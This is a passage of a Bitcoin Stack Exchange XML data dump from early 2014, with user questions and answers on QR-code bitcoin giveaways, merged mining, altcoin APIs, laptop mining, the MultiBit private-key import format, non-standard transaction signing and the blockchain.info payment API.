code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2343" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-01-08T18:19:51.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20061" PostTypeId="2" ParentId="20059" CreationDate="2014-01-07T20:52:52.723" Score="1" Body="&lt;p&gt;There is no such command. Addresses are like a superstructure over a bitcoin transaction processing. Client does not maintain index with addresses and balances on them.&lt;/p&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2014-01-07T20:52:52.723" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20064" PostTypeId="1" CreationDate="2014-01-07T21:27:18.183" Score="2" ViewCount="371" Body="&lt;p&gt;I'm currently trying to build a game where if the user reaches a certain amount of points they get rewarded with btc at the end of the game. But the thing is I would like the QR code to show up on the screen and the user would just have to scan it and they would receive the btc. Is there an application that can do such a thing? I'm guessing it would show the private key of the qr code. But is there a better method of doing this? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-02-07T00:19:14.573" Title="How would you give away free bitcoins by letting the user just scan a qr code?" Tags="|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20066" PostTypeId="2" ParentId="20064" CreationDate="2014-01-07T21:51:23.950" Score="1" Body="&lt;p&gt;You would have to do this in a couple of steps, the first of which doesn't involve Bitcoin at all.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User scans QR code using an app you provide.&lt;/li&gt;&#xA;&lt;li&gt;Your provided app sends a request to your server. This request contains something that identifies the user (say, the user's Bitcoin address).&lt;/li&gt;&#xA;&lt;li&gt;Your server sends Bitcoin to the user's address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Having said that, if you already have the user's Bitcoin address, then you should consider skipping the QR code entirely and proceed directly to step 3.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastEditorUserId="11253" LastEditDate="2014-01-07T22:02:12.090" LastActivityDate="2014-01-07T22:02:12.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20067" PostTypeId="2" ParentId="19965" CreationDate="2014-01-07T22:06:52.993" Score="0" Body="&lt;p&gt;Merged mining takes advantage of an established blockchain for the security of the chain to avoid a high probability of a 51% attacks on the new coin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, and to my knowledge, no Scrypt-based altcoin chains, not even Litecoin, are secure enough and have a diverse mining pool to avoid a 51% attack. As such, launching a merged-mining coin (For example a Proof of Stake Coin like Peercoin) on Litecoin would be very risky.&lt;/p&gt;&#xA;" OwnerUserId="7388" LastActivityDate="2014-01-07T22:06:52.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20068" PostTypeId="2" ParentId="20064" CreationDate="2014-01-07T22:12:27.143" Score="1" Body="&lt;p&gt;You are correct that the QR code would be of the wallet's private key. But for obvious reasons, you would need to generate a new address and private key for each user, otherwise, people would be sharing wallets together. You would need to load each wallet before displaying its private key in QR code format by sending funds to the wallet's address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are bitcoin wallet apps on both Android and iOS that can import a wallet by scanning a private key QR code. The players of your game would need to download one of these apps to do this though, so that might be a small hurdle. This may not be the best way to distribute bitcoin to your users for two main reasons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You would be able to move funds out of the wallets of your users, even after they've imported the wallet themselves. I'm not saying you would do this, but you could.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Whether the private keys come packaged with the game files or the game contacts a server to retrieve the private keys, they may be susceptible to theft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be smarter to let the users input their Bitcoin address, and have your server send the bitcoins, instead. This is safer and requires zero trust between you and the users. There is no possibility of theft perpetrated by you or other users of the game, as long as the funds are not in a &lt;a href=&quot;https://en.bitcoin.it/wiki/Hot_wallet&quot; rel=&quot;nofollow&quot;&gt;hot wallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoind#Wallet_Services&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Bitcoind#Wallet_Services&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Paper_wallet#Redeeming_Keys_and_Withdrawing_Funds&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Paper_wallet#Redeeming_Keys_and_Withdrawing_Funds&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Private_key&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Private_key&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Bitcoin#Wallets&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Bitcoin#Wallets&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1643" LastActivityDate="2014-01-07T22:12:27.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20069" PostTypeId="1" CreationDate="2014-01-07T22:17:52.710" Score="1" ViewCount="123" Body="&lt;p&gt;This list of transactions is supposed to be sorted by time, newest first: &lt;a href=&quot;https://blockchain.info/address/1BWk7rcf4fRS6XHEDqVQPeeoZitGB65GYE?sort=1&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1BWk7rcf4fRS6XHEDqVQPeeoZitGB65GYE?sort=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the transactions are not displayed in chronological order.  Is this a bug? Is it ordered by something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what is the transaction time?  Is it the time a transaction is submitted to a node or is it the time a transaction is added to a block?&lt;/p&gt;&#xA;" OwnerUserId="11912" LastActivityDate="2014-01-07T22:17:52.710" Title="Sort order of transactions on blockchain.info" Tags="|transactions|blockchain|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20071" PostTypeId="1" AcceptedAnswerId="20074" CreationDate="2014-01-07T22:26:48.860" Score="5" ViewCount="2283" Body="&lt;p&gt;Has there been content published which provides an overview of how the Bitcoin-Qt software is architected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to dive into the source code, but going from scratch is somewhat taxing. Can someone help me?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-01-08T01:05:02.167" Title="Bitcoin-Qt source code walkthrough" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20072" PostTypeId="2" ParentId="19882" CreationDate="2014-01-07T22:45:31.017" Score="3" Body="&lt;p&gt;What about &lt;a href=&quot;http://bitcoinwisdom.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwisdom.com/&lt;/a&gt;? It visualizes data from 14 different exchanges.&lt;/p&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2014-01-07T22:45:31.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20073" PostTypeId="2" ParentId="1738" CreationDate="2014-01-07T22:50:20.357" Score="1" Body="&lt;p&gt;A cut off in part of the network might also, indirectly cause one of the &quot;guilds&quot; to obtain %51. Community should also keep that in mind IMHO. i.e. if BTCGuild was suddenly completely disconnected for a time, and GHash.IO and itself both had 33% of the hashrate; GHash.IO would have %50 for the time period BTCGuild is disconnected.&lt;/p&gt;&#xA;" OwnerUserId="11915" LastActivityDate="2014-01-07T22:50:20.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20074" PostTypeId="2" ParentId="20071" CreationDate="2014-01-08T00:06:25.520" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=41718.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=41718.0&lt;/a&gt;&#xA;Don't miss the threads it links to at the bottom of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I wouldn't recommend diving right in if you don't know the basics of how bitcoin functions. You are going to need an okay understanding of cryptography used and C++, networking and program design.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-08T00:06:25.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20075" PostTypeId="2" ParentId="20051" CreationDate="2014-01-08T00:10:39.830" Score="1" Body="&lt;p&gt;The same way gold or any commodity did, the person buying bitcoins valued the idea or thought it had potential and payed someone money for their bitcoins. Price is what people are willing to pay anyways. Mining is the same concept, miners are paying with their hashing power (it isn't worthless!) to the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was as shabby and undocumented as possible I'd assume, see the infamous btc pizza, some guy posted a thread on bitcointalk (you can get records of this transaction and others by going through histories) saying he wanted to pay for pizza with btc. A guy in England agreed and paid with CC for the pizza to be delivered while the other guy sent btc in exchange. &lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="11369" LastEditDate="2014-02-14T21:13:15.690" LastActivityDate="2014-02-14T21:13:15.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20077" PostTypeId="1" CreationDate="2014-01-08T01:09:32.280" Score="3" ViewCount="1021" Body="&lt;p&gt;I'm new to the concept of crypto currencies but I understand the basics , I'm developing a website that will enable users to exchange their crypto currencies , it works like this &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User x sends Bitcoins (or any other type) to website Bitcoin address&lt;/li&gt;&#xA;&lt;li&gt;User y sends litecoins (or any other type) to website Litecoin address&lt;/li&gt;&#xA;&lt;li&gt;Website sends Bitcoins to user y Bitcoin receiving address , and sends litecoins to user x receiving address&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know how to send Bitcoins , using an API like inputs.io or blockchain.info , but I'm wondering about all the other types (Anoncoin for example) , how can I send coins to receiving addresses ? can I use inputs.io or blockchain.info for coin types other than Bitcoin ? or does each one has its own API ?&lt;/p&gt;&#xA;" OwnerUserId="11918" LastEditorUserId="1878" LastEditDate="2014-03-09T13:22:29.717" LastActivityDate="2018-01-10T10:42:14.923" Title="Do all coin types use the same API?" Tags="|transactions|litecoin|api|sending|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20078" PostTypeId="1" CreationDate="2014-01-08T01:16:52.193" Score="0" ViewCount="87" Body="&lt;p&gt;A country where I am from appears to take Bitcoin into an interest right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a senior programmer at one company and have done several projects, but right now I am mostly interested in the opportunities that might appear from Bitcoin to a programmer at my small european country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appear to have a domain bitcoin.abc and bitcoins.abc, where abc stands for my country tld name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went to freenode chat #bitcoin, #startups, asked out several people, but could not find any helpful information about an opportunities that one might get in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if there is anything I can use such domain names and a programming knowledge, with interest in such a decentralized system and get on a way to profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really know, but, perhaps building a new wallet, or such? I would really appreciate any ideas, thoughts or resources to read for me on my case. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="11920" LastEditorUserId="5406" LastEditDate="2016-01-20T21:11:36.223" LastActivityDate="2016-01-20T21:11:36.223" Title="Profit by programming a Bitcoin service (wallet) in an &quot;only-now&quot; bc adopting country?" Tags="|development|e-wallet|website-integration|business|" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-13T14:02:12.400" ContentLicense="CC BY-SA 3.0" />
  <row Id="20080" PostTypeId="1" CreationDate="2014-01-08T01:29:28.787" Score="3" ViewCount="15257" Body="&lt;p&gt;I was just wondering if it is possible to mine BTC using my laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what sort of graphics card should I get for this computer and &#xA;what could I expect to mine in bitcoins a day with a single graphics card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate your advice!&lt;/p&gt;&#xA;" OwnerUserId="11712" LastEditorUserId="5406" LastEditDate="2016-01-20T20:17:10.243" LastActivityDate="2016-01-20T20:17:10.243" Title="Can I use my laptop to mine bitcoins?" Tags="|cpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20081" PostTypeId="2" ParentId="20080" CreationDate="2014-01-08T01:31:32.857" Score="3" Body="&lt;p&gt;The times when one could mine Bitcoins with a laptop or graphics card are long gone. You would never even cover the cost of the electricity used. Bitcoin mining is done with ASICs now.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-08T01:31:32.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20082" PostTypeId="1" CreationDate="2014-01-08T01:37:22.170" Score="2" ViewCount="84" Body="&lt;p&gt;As far as I know there are several e-wallet services for Bitcoin that provide same standard integrated API service functionality for users. I am curious about where are they finding benefits in this? Do those service providers charge for transfer by themselves and receive left-overs personally? &lt;/p&gt;&#xA;" OwnerUserId="11919" LastActivityDate="2014-01-08T08:26:34.717" Title="How do wallet-devs profit?" Tags="|e-wallet|websites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20085" PostTypeId="1" CreationDate="2014-01-08T02:26:24.333" Score="1" ViewCount="1515" Body="&lt;p&gt;I'm trying to run a BitCoin wallet on a USB Drive. I've got that working, but I'm trying to make the block chain get downloaded and stored inside of the USB drive as well. This is the only thing I've been able to come up with and I've had no success.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;H:\Bitcoin\bitcoin-qt.exe&quot; -datadir=H:\Bitcoin\appdata&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the error &quot;Filename is incorrect&quot;. I know there is a portable BitCoin program, but I'm also wanting this to work for other coins such as LiteCoin, and I know there aren't portable versions for those.&lt;/p&gt;&#xA;" OwnerUserId="11923" LastActivityDate="2014-09-05T15:28:24.027" Title="Running BitCoin Wallet On USB" Tags="|wallet|portable|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20087" PostTypeId="2" ParentId="4516" CreationDate="2014-01-08T02:39:07.277" Score="0" Body="&lt;p&gt;I assume slush. Anyway, to always have your namecoin sending funds you would need to write a good bit of code. The tl;dr of it is this: you need to change the block coinbase to have it directed to the wallet of your choice. &lt;/p&gt;&#xA;" OwnerUserId="11712" LastActivityDate="2014-01-08T02:39:07.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20088" PostTypeId="2" ParentId="10744" CreationDate="2014-01-08T02:39:23.243" Score="1" Body="&lt;p&gt;The success message is telling you that your request to place an order was successful, not that the order has been fulfilled.  For that, you have to poll money/order/result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I use the order submission API in V2 and it does respond with an insufficient funds error.  If you're using the older V0/V1 APIs, you may want to upgrade.&lt;/p&gt;&#xA;" OwnerUserId="11924" LastActivityDate="2014-01-08T02:39:23.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20089" PostTypeId="2" ParentId="20080" CreationDate="2014-01-08T03:03:50.300" Score="0" Body="&lt;p&gt;At this difficulty, you may take 1 year to get 0.01 BTC. So, stop using computers to mining. Check some real bitcoin miners mining, like Avalon, KNC…, Avalon from best-miner.com is good, KNC is great too but they are pre-orders.&lt;/p&gt;&#xA;" OwnerUserId="11755" LastActivityDate="2014-01-08T03:03:50.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20091" PostTypeId="2" ParentId="20077" CreationDate="2014-01-08T03:40:10.777" Score="1" Body="&lt;p&gt;Technically speaking, many other cryptocoins are based off of the source code of Bitcoin. However, a quick look at the Anoncoin website (&lt;a href=&quot;https://anoncoin.net//&quot; rel=&quot;nofollow&quot;&gt;https://anoncoin.net//&lt;/a&gt;) suggests that it's been heavily modified from that of Bitcoin (using the darknet, i2p, and all that). Therefore, an API that works with Bitcoin, such as those at inputs.io or blockchain.info is really unlikely to work with Anoncoin in particular. On a more specific note, Anoncoin is a Scrypt-based cryptocurrency, while Bitcoin is SHA-256 based. Therefore, they're even less likely to be able to use the same API. Even if you did try to perform operations on Anoncoin (or any other lesser known cryptocurrency) with the API of a Scrypt-based coin, you're pretty much doomed to fail, and if the API doesn't catch that and the coin does make it into the system, then things could get very strange on the server side regarding how the server should process your request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, most cryptocurrencies, if not all (there are so many that I cannot make a giant umbrella statement here) are handled by their own API depending on the website (for example, inputs.io and blockchain.info use two completely different APIs). It also means that lesser known coins will have difficulty gaining support and usability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, given that Anoncoin doesn't seem to have a notable exchange to support it yet, perhaps you could make your own API, website, or exchange to handle transactions with it to say other cryptocurrencies. Otherwise, it might just be smartest to sit back, wait, and hope for someone else to do it. &lt;/p&gt;&#xA;" OwnerUserId="11927" LastActivityDate="2014-01-08T03:40:10.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20092" PostTypeId="2" ParentId="20085" CreationDate="2014-01-08T03:44:24.463" Score="1" Body="&lt;p&gt;Perhaps it's just an issue with the code block, but I only see one double quote. I assume that the other is before the entire code block, and is used to pass the program name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other possible issues I can think of are to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make sure the directory specified in the datadir argument exists and is writable&lt;/li&gt;&#xA;&lt;li&gt;make sure that the USB drive is mounted on H:\ on any other computers you use. Maybe it would be smarter to use a relative path instead.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding portable Litecoin etc.&lt;/strong&gt;&#xA;Any program is portable, as long as all of its dependencies can be met in a portable environment. Therefore, if you copy the entire &lt;code&gt;C:\Program Files\Litecoin&lt;/code&gt; folder, you should, &lt;em&gt;in theory&lt;/em&gt;, have a portable program, provided you copy your data directory also, or don't mind re-downloading the blockchain and don't mind losing all your Litecoins.&lt;/p&gt;&#xA;" OwnerUserId="11927" LastActivityDate="2014-01-08T03:44:24.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20093" PostTypeId="2" ParentId="20078" CreationDate="2014-01-08T04:14:43.560" Score="1" Body="&lt;p&gt;Use your domain to sell bitcoins for fiat in your country. That's the most profitable thing you can do.&lt;/p&gt;&#xA;" OwnerUserId="11886" LastActivityDate="2014-01-08T04:14:43.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20094" PostTypeId="2" ParentId="14154" CreationDate="2014-01-08T05:13:23.377" Score="5" Body="&lt;p&gt;Importing private keys into MultiBit:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a file with the extension &quot;.key&quot; (like &quot;mybitcoinkeys.key&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Put each private key on a separate line.&lt;/li&gt;&#xA;&lt;li&gt;Next to each private key, type a space and then the date that the private key was created (in UTC format).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(this last step is important because MultiBit will only check the blockchain from that date forward)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample file that I dug up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# KEEP YOUR PRIVATE KEYS SAFE !&#xA;# Anyone who can read this file can spend your bitcoin.&#xA;#&#xA;# Format:&#xA;#   &amp;lt;Base58 encoded private key&amp;gt;[&amp;lt;whitespace&amp;gt;[&amp;lt;key createdAt&amp;gt;]]&#xA;#&#xA;#   The Base58 encoded private keys are the same format as&#xA;#   produced by the Satoshi client/ sipa dumpprivkey utility.&#xA;#&#xA;#   Key createdAt is in UTC format as specified by ISO 8601&#xA;#   e.g: 2011-12-31T16:42:00Z . The century, 'T' and 'Z' are mandatory&#xA;#&#xA;THIS_IS_THE_PRIVATE_KEY 2014-08-01T00:00:00Z&#xA;&#xA;# End of private keys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;P.S. The date can be as early as you want but should absolutely be before the first transaction involving the address. The time of day doesn't matter because MultiBit will check starting with the beginning of the day anyway.&lt;/p&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="6767" LastEditDate="2014-01-08T22:26:56.327" LastActivityDate="2014-01-08T22:26:56.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20095" PostTypeId="2" ParentId="20082" CreationDate="2014-01-08T05:37:18.410" Score="1" Body="&lt;p&gt;It's different for each wallet but here are the top ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Coinbase Method&lt;/strong&gt;&#xA;You put a fee on USD-&gt;BTC and vice versa. Downside of this is that you can exploit the user using the delay created by using fiat and banks, Coinbase purportedly buys bitcoins when user buys, then a few days later takes bitcoin and refunds (by marking transaction as &quot;suspicious&quot;) user if price goes up and holding is profitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blockchain.info Method&lt;/strong&gt;&#xA;You gain revenue from allowing services to put links on your website. Downside to this is that you can't just advertise more if you aren't making the hosting costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Patron Method&lt;/strong&gt;&#xA;You gain revenue from often your own services, basically your just a free wallet that the owner supports himself. No real downside. Inputs.io used this, revenue gained from CoinLenders, ultimately &quot;hacked&quot; which makes you wonder the motivation of a non-profit wallet service. &lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="11369" LastEditDate="2014-01-08T08:26:34.717" LastActivityDate="2014-01-08T08:26:34.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20099" PostTypeId="2" ParentId="14131" CreationDate="2014-01-08T07:01:41.030" Score="0" Body="&lt;p&gt;I have personally tried many erupters on a RPi. With 9 devices it was stable, with 21 devices it would have issues. After a couple days of random hangs, erupters stopping, and other nonsense I switched out the RPi for a netbook and haven't looked back.&lt;/p&gt;&#xA;" OwnerUserId="11932" LastActivityDate="2014-01-08T07:01:41.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20101" PostTypeId="2" ParentId="16918" CreationDate="2014-01-08T08:05:01.523" Score="0" Body="&lt;p&gt;Sell walls are whales trying to suppress the price of a currency, usually in order to buy up more of it themselves.&lt;/p&gt;&#xA;" OwnerUserId="11938" LastActivityDate="2014-01-08T08:05:01.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20102" PostTypeId="1" AcceptedAnswerId="20106" CreationDate="2014-01-08T08:07:09.343" Score="2" ViewCount="1142" Body="&lt;p&gt;I want to send payment to bitcoin address weekly from my bitcoin address,I have tried blockchain api but can't seem to find an answer.Need help.&lt;/p&gt;&#xA;" OwnerUserId="11937" LastActivityDate="2017-11-09T22:32:34.043" Title="send payment from one address to another from my website" Tags="|bitcoind|payment|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20103" PostTypeId="1" CreationDate="2014-01-08T08:40:38.343" Score="6" ViewCount="641" Body="&lt;p&gt;Consider &lt;a href=&quot;http://testnet.btclook.com/txn/7a438de42d601864aead3efec71e07ae97a20b74cd36da2bf4489c77f5bde03e&quot; rel=&quot;nofollow&quot;&gt;Testnet transaction 7a438...de03e&lt;/a&gt; which has &lt;code&gt;vout[0].scriptPubKey&lt;/code&gt; =&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_DROP OP_DUP OP_HASH160 039.....6fe OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script is equivalent to a standard pay-to-pubkeyhash scriptPubKey. Let's try to spend it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; bitcoind createrawtransaction '[{&quot;txid&quot;:&quot;7a438.....de03e&quot;,&quot;vout&quot;:0}]' '{&quot;mfq.....oDY&quot;:1.3}'&#xA;01000000013ee0bdf5779c48f42bda36cd740ba297ae071ec7fe3eadae6418602de48d437a0000000000ffffffff0180a4bf07000000001976a914039541a738df12eed1825b866eb5bb5aba6bf6fe88ac00000000&#xA;&#xA;&amp;gt; bitcoind signrawtransaction 01000.....00000&#xA;{&#xA;  &quot;hex&quot; : &quot;01000000013ee0bdf5779c48f42bda36cd740ba297ae071ec7fe3eadae6418602de48d437a0000000000ffffffff0180a4bf07000000001976a914039541a738df12eed1825b866eb5bb5aba6bf6fe88ac00000000&quot;,&#xA;  &quot;complete&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;bitcoind&lt;/code&gt; refuses to sign the transaction (same &lt;code&gt;hex&lt;/code&gt; and obviously &lt;code&gt;complete&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt;) I guess because it can't find a suitable address (since it's a non-standard script). I do indeed control the address and have its private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to sign this transaction?&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="5406" LastEditDate="2014-10-04T15:49:14.283" LastActivityDate="2014-10-04T15:49:14.283" Title="How to sign non-standard transaction" Tags="|json-rpc|raw-transaction|signature|non-standard-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20104" PostTypeId="1" CreationDate="2014-01-08T08:47:21.380" Score="5" ViewCount="490" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP0016&lt;/a&gt; says &lt;code&gt;&quot;Validation fails if there are any operations other than &quot;push data&quot; operations in the scriptSig&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it mean &quot;push data operations&quot;? &lt;code&gt;OP_CHECKMULTISIG&lt;/code&gt; seems to be allowed but does not look like &quot;push data&quot; to me.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="2306" LastEditDate="2014-12-13T06:02:47.670" LastActivityDate="2014-12-15T09:43:08.350" Title="BIP0016 pay-to-scripthash transaction validation" Tags="|multi-signature|p2sh|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20105" PostTypeId="1" CreationDate="2014-01-08T08:52:44.620" Score="2" ViewCount="160" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP0016&lt;/a&gt; acknowledges it works by &lt;code&gt;&quot;recognizing one 'special' form of scriptPubKey&quot;&lt;/code&gt;, so P2SH transactions are actually special cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the exact rules to detect these special cases?&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="2306" LastEditDate="2014-12-17T22:47:01.143" LastActivityDate="2014-12-17T22:47:01.143" Title="BIP0016 pay-to-scripthash transaction detection" Tags="|multi-signature|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20106" PostTypeId="2" ParentId="20102" CreationDate="2014-01-08T09:17:04.187" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/api/blockchain_wallet_api&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/api/blockchain_wallet_api&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The api call to send is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/merchant/$guid/payment?password=$main_password&amp;amp;second_password=$second_password&amp;amp;to=$address&amp;amp;amount=$amount&amp;amp;from=$from&amp;amp;shared=$shared&amp;amp;fee=$fee¬e=$note&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In PHP, replace all the variables (they start with a $ in example up above) with your actual info. Some of the parameters in the url are optional so visit the page I linked to see which ones are optional. Keep the url as a string and feed it in to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = file_get_contents($the_url_you_just_made);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should send a payment as soon as it runs, you may want to read the resulting string, it will contain the error message if anything goes wrong. The response is detailed on the link and you can try out URLs in browser as well, just type in GUID, amount, address, etc in the correct places.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-08T09:17:04.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
